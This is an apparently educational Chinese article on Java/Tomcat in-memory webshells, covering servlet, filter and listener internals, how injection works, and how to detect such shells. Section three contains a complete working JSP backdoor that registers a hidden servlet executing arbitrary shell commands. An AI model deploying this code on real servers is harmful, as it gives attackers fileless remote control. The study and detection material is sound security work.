一文看懂內存馬
一、內存馬簡介
1.1 webshell變遷
webshell的變遷過程大致如下所述:
web服務器管理頁面——> 大馬——>小馬拉大馬——>一句話木馬——>加密一句話木馬——>加密內存馬

內存馬是無文件攻擊的一種常用手段,隨著攻防演練熱度越來越高:攻防雙方的博弈,流量分析、EDR等專業安全設備被藍方廣泛使用,傳統的文件上傳的webshll或以文件形式駐留的后門越來越容易被檢測到,內存馬使用越來越多。
Webshell內存馬,是在內存中寫入惡意后門和木馬并執行,達到遠程控制Web服務器的一類內存馬,其瞄準了企業的對外窗口:網站、應用。但傳統的Webshell都是基于文件類型的,黑客可以利用上傳工具或網站漏洞植入木馬,區別在于Webshell內存馬是無文件馬,利用中間件的進程執行某些惡意代碼,不會有文件落地,給檢測帶來巨大難度。
1.2 如何實現webshell內存馬
目標:訪問任意url或者指定url,帶上命令執行參數,即可讓服務器返回命令執行結果
實現:以java為例,客戶端發起的web請求會依次經過Listener、Filter、Servlet三個組件,我們只要在這個請求的過程中做手腳,在內存中修改已有的組件或者動態注冊一個新的組件,插入惡意的shellcode,就可以達到我們的目的。

1.3 內存馬類型
根據內存馬注入的方式,大致可以將內存馬劃分為如下兩類
1.servlet-api型
通過命令執行等方式動態注冊一個新的listener、filter或者servlet,從而實現命令執行等功能。特定框架、容器的內存馬原理與此類似,如spring的controller內存馬,tomcat的valve內存馬
2.字節碼增強型
通過java的instrumentation動態修改已有代碼,進而實現命令執行等功能。
二、背景知識
2.1 Java web三大件
2.1.1 Servlet
1.什么是servlet
Servlet 是運行在 Web 服務器或應用服務器上的程序,它是作為來自 HTTP 客戶端的請求和 HTTP 服務器上的數據庫或應用程序之間的中間層。它負責處理用戶的請求,并根據請求生成相應的返回信息提供給用戶。
2.請求的處理過程
客戶端發起一個http請求,比如get類型。
Servlet容器接收到請求,根據請求信息,封裝成HttpServletRequest和HttpServletResponse對象。
Servlet容器調用HttpServlet的init()方法,init方法只在第一次請求的時候被調用。
Servlet容器調用service()方法。
service()方法根據請求類型,這里是get類型,分別調用doGet或者doPost方法,這里調用doGet方法。
doXXX方法中是我們自己寫的業務邏輯。
業務邏輯處理完成之后,返回給Servlet容器,然后容器將結果返回給客戶端。
容器關閉時候,會調用destory方法
3.servlet生命周期
1)服務器啟動時(web.xml中配置load-on-startup=1,默認為0)或者第一次請求該servlet時,就會初始化一個Servlet對象,也就是會執行初始化方法init(ServletConfig conf)。
2)servlet對象去處理所有客戶端請求,在service(ServletRequest req,ServletResponse res)方法中執行
3)服務器關閉時,銷毀這個servlet對象,執行destroy()方法。
4)由JVM進行垃圾回收。
2.1.2 Filter
簡介
filter也稱之為過濾器,是對Servlet技術的一個強補充,其主要功能是在HttpServletRequest到達 Servlet 之前,攔截客戶的HttpServletRequest ,根據需要檢查HttpServletRequest,也可以修改HttpServletRequest 頭和數據;在HttpServletResponse到達客戶端之前,攔截HttpServletResponse ,根據需要檢查HttpServletResponse,也可以修改HttpServletResponse頭和數據。
基本工作原理
1、Filter 程序是一個實現了特殊接口的 Java 類,與 Servlet 類似,也是由 Servlet 容器進行調用和執行的。
2、當在 web.xml 注冊了一個 Filter 來對某個 Servlet 程序進行攔截處理時,它可以決定是否將請求繼續傳遞給 Servlet 程序,以及對請求和響應消息是否進行修改。
3、當 Servlet 容器開始調用某個 Servlet 程序時,如果發現已經注冊了一個 Filter 程序來對該 Servlet 進行攔截,那么容器不再直接調用 Servlet 的 service 方法,而是調用 Filter 的 doFilter 方法,再由 doFilter 方法決定是否去激活 service 方法。
4、但在 Filter.doFilter 方法中不能直接調用 Servlet 的 service 方法,而是調用 FilterChain.doFilter 方法來激活目標 Servlet 的 service 方法,FilterChain 對象時通過 Filter.doFilter 方法的參數傳遞進來的。
5、只要在 Filter.doFilter 方法中調用 FilterChain.doFilter 方法的語句前后增加某些程序代碼,這樣就可以在 Servlet 進行響應前后實現某些特殊功能。
6、如果在 Filter.doFilter 方法中沒有調用 FilterChain.doFilter 方法,則目標 Servlet 的 service 方法不會被執行,這樣通過 Filter 就可以阻止某些非法的訪問請求。
filter的生命周期
與servlet一樣,Filter的創建和銷毀也由web容器負責。web 應用程序啟動時,web 服務器將創建Filter 的實例對象,并調用其init方法,讀取web.xml配置,完成對象的初始化功能,從而為后續的用戶請求作好攔截的準備工作(filter對象只會創建一次,init方法也只會執行一次)。開發人員通過init方法的參數,可獲得代表當前filter配置信息的FilterConfig對象。
Filter對象創建后會駐留在內存,當web應用移除或服務器停止時才銷毀。在Web容器卸載 Filter 對象之前被調用。該方法在Filter的生命周期中僅執行一次。在這個方法中,可以釋放過濾器使用的資源。
filter鏈
當多個filter同時存在的時候,組成了filter鏈。web服務器根據Filter在web.xml文件中的注冊順序,決定先調用哪個Filter。當第一個Filter的doFilter方法被調用時,web服務器會創建一個代表Filter鏈的FilterChain對象傳遞給該方法,通過判斷FilterChain中是否還有filter決定后面是否還調用filter。
2.1.3 Listener
簡介
JavaWeb開發中的監聽器(Listener)就是Application、Session和Request三大對象創建、銷毀或者往其中添加、修改、刪除屬性時自動執行代碼的功能組件。
ServletContextListener:對Servlet上下文的創建和銷毀進行監聽;
ServletContextAttributeListener:監聽Servlet上下文屬性的添加、刪除和替換;
HttpSessionListener:對Session的創建和銷毀進行監聽。Session的銷毀有兩種情況,一個中Session超時,還有一種是通過調用Session對象的invalidate()方法使session失效。
HttpSessionAttributeListener:對Session對象中屬性的添加、刪除和替換進行監聽;
ServletRequestListener:對請求對象的初始化和銷毀進行監聽;
ServletRequestAttributeListener:對請求對象屬性的添加、刪除和替換進行監聽。
用途
可以使用監聽器監聽客戶端的請求、服務端的操作等。通過監聽器,可以自動出發一些動作,比如監聽在線的用戶數量,統計網站訪問量、網站訪問監控等。
2.2Tomcat
2.2.1簡介
簡單理解,tomcat是http服務器+servlet容器。
Tomcat 作為Servlet容器,將http請求文本接收并解析,然后封裝成HttpServletRequest類型的request對象,傳遞給servlet;同時會將響應的信息封裝為HttpServletResponse類型的response對象,然后將response交給tomcat,tomcat就會將其變成響應文本的格式發送給瀏覽器。

2.2.2Tomcat架構設計
前面提到過,Tomcat 的本質其實就是一個 WEB 服務器 + 一個 Servlet 容器,那么它必然需要處理網絡的連接與 Servlet 的管理,因此,Tomcat 設計了兩個核心組件來實現這兩個功能,分別是連接器和容器,連接器用來處理外部網絡連接,容器用來處理內部 Servlet,我用一張圖來表示它們的關系:

一個 Tomcat 代表一個 Server 服務器,一個 Server 服務器可以包含多個 Service 服務,Tomcat 默認的 Service 服務是 Catalina,而一個 Service 服務可以包含多個連接器,因為 Tomcat 支持多種網絡協議,包括 HTTP/1.1、HTTP/2、AJP 等等,一個 Service 服務還會包括一個容器,容器外部會有一層 Engine 引擎所包裹,負責與處理連接器的請求與響應,連接器與容器之間通過 ServletRequest 和 ServletResponse 對象進行交流。
一個engine可以對一個多個host,也就是虛擬主機,一個host可以對應多個context,也就是web應用,一個context對應多個wrapper,也就是servlet。這個映射關系,通過mapper組件來關聯,mapper組件保存了Web應用的配置信息,容器組件與訪問路徑的映射關系。Host容器的域名,Context容器中的web路徑,Wrapper容器中的servlet映射的路徑,這些配置信息是多層次的Map。根據請求定位到指定servlet的流程圖如下:

2.3 其他java背景知識
2.3.1 java反射

反射提供的功能,能在運行時(動態)的
1.獲取一個類的所有成員變量和方法
2.創建一個類的對象
a.獲取對象成員變量&賦值
b.調用對象的方法
c.判斷對象所屬的類
在注入內存馬的過程當中,我們可能需要用到反射機制,例如注入一個servlet型的內存馬,我們需要使用反射機制來獲取當前的context,然后將惡意的servlet(wrapper)添加到當前的context的children中。
在使用Java反射機制時,主要步驟包括:
①獲取 目標類型的Class對象
②通過 Class 對象分別獲取Constructor類對象、Method類對象 & Field 類對象
③通過 Constructor類對象、Method類對象 & Field類對象分別獲取類的構造函數、方法&屬性的具體信息,并進行后續操作
2.3.2 java instrumentation
Instrumentation是Java提供的一個來自JVM的接口,該接口提供了一系列查看和操作Java類定義的方法,例如修改類的字節碼、向classLoader的classpath下加入jar文件等。使得開發者可以通過Java語言來操作和監控JVM內部的一些狀態,進而實現Java程序的監控分析,甚至實現一些特殊功能(如AOP、熱部署)。
Java agent是一種特殊的Java程序(Jar文件),它是Instrumentation的客戶端。與普通Java程序通過main方法啟動不同,agent并不是一個可以單獨啟動的程序,而必須依附在一個Java應用程序(JVM)上,與它運行在同一個進程中,通過Instrumentation API與虛擬機交互。
在注入內存馬的過程中,我們可以利用java instrumentation機制,動態的修改已加載到內存中的類里的方法,進而注入惡意的代碼。

三、內存馬實現
這里我們以tomcat的servletAPI型內存馬為例講一下內存馬的實現。下面的代碼先是創建了一個惡意的servlet,然后獲取當前的StandardContext,然后將惡意servlet封裝成wrapper添加到StandardContext的children當中,最后添加ServletMapping將訪問的URL和wrapper進行綁定。
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%
// 創建惡意Servlet
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
%>
<%
// 獲取StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
// 用Wrapper對其進行封裝
org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
newWrapper.setName("jweny");
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
// 添加封裝后的惡意Wrapper到StandardContext的children當中
standardCtx.addChild(newWrapper);
// 添加ServletMapping將訪問的URL和Servlet進行綁定
standardCtx.addServletMapping("/shell","jweny");
%>
執行上述代碼后,訪問當前應用的/shell路徑,加上cmd參數就可以命令執行了。使用新增servlet的方式就需要綁定指定的URL。如果我們想要更加隱蔽,做到內存馬與URL無關,無論這個url是原生servlet還是某個struts action,甚至無論這個url是否真的存在,只要我們的請求傳遞給tomcat,tomcat就能相應我們的指令,那就得通過注入新的或修改已有的filter或者listener的方式來實現了。比如早期rebeyond師傅開發的memshell,就是通過修改org.apache.catalina.core.ApplicationFilterChain類的internalDoFilter方法來實現的,后期冰蝎最新版本的內存馬為了實現更好的兼容性,選擇hook javax.servlet.http.HttpServlet#service 函數,在weblogic選擇hook weblogic.servlet.internal.ServletStubImpl#execute 函數。
四、內存馬檢測與排查
4.1源碼檢測
在java中,只有被JVM加載后的類才能被調用,或者在需要時通過反射通知JVM加載。所以特征都在內存中,表現形式為被加載的class。需要通過某種方法獲取到JVM的運行時內存中已加載的類, Java本身提供了Instrumentation類來實現運行時注入代碼并執行,因此產生一個檢測思路:注入jar包-> dump已加載class字節碼->反編譯成java代碼-> 源碼webshell檢測。
這樣檢測比較消耗性能,我們可以縮小需要進行源碼檢測的類的范圍,通過如下的篩選條件組合使用篩選類進行檢測:
①新增的或修改的;
②沒有對應class文件的
③xml配置中沒注冊的
④冰蝎等常見工具使用的
⑤filterchain中排第一的filter類
還有一些比較弱的特征可以用來輔助檢測,比如類名稱中包含shell或者為隨機名,使用不常見的classloader加載的類等等。
另外,有一些工具可以輔助檢測內存馬,如java-memshell-scanner是通過jsp掃描應用中所有的filter和servlet,然后通過名稱、對應的class是否存在來判斷是否是內存馬

4.2 內存馬排查
如果我們通過檢測工具或者其他手段發現了一些內存webshell的痕跡,需要有一個排查的思路來進行跟蹤分析,也是根據各類型的原理,列出一個排查思路。
如果是jsp注入,日志中排查可疑jsp的訪問請求。
如果是代碼執行漏洞,排查中間件的error.log,查看是否有可疑的報錯,判斷注入時間和方法
根據業務使用的組件排查是否可能存在java代碼執行漏洞以及是否存在過webshell,排查框架漏洞,反序列化漏洞。
如果是servlet或者spring的controller類型,根據上報的webshell的url查找日志(日志可能被關閉,不一定有),根據url最早訪問時間確定被注入時間。
如果是filter或者listener類型,可能會有較多的404但是帶有參數的請求,或者大量請求不同url但帶有相同的參數,或者頁面并不存在但返回200
